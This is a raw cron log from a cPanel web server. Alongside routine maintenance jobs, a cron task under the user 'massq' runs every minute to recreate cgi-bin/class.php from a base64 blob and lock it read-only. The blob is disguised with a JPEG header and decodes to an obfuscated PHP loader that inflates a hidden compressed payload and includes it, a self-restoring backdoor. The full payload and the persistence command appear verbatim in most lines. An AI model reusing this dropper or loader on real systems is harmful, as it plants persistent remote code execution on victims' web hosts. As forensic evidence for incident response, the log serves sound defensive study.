Nov 12 04:04:01 server CROND[8122]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:05:01 server CROND[9105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:05:01 server CROND[9106]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:05:01 server CROND[9107]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 04:05:01 server CROND[9108]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 04:06:01 server CROND[10028]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:07:01 server CROND[10945]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:08:01 server CROND[11802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:09:01 server CROND[12608]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:09:01 server CROND[12609]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 04:10:01 server CROND[13451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:10:01 server CROND[13452]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 04:10:01 server CROND[13450]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 04:10:01 server CROND[13453]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:11:01 server CROND[14309]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:12:01 server CROND[15114]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 04:12:01 server CROND[15116]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:13:01 server CROND[15981]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:14:01 server CROND[16647]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:15:01 server CROND[17249]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:15:01 server CROND[17251]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:15:01 server CROND[17253]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 04:15:01 server CROND[17250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 04:16:01 server CROND[18137]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
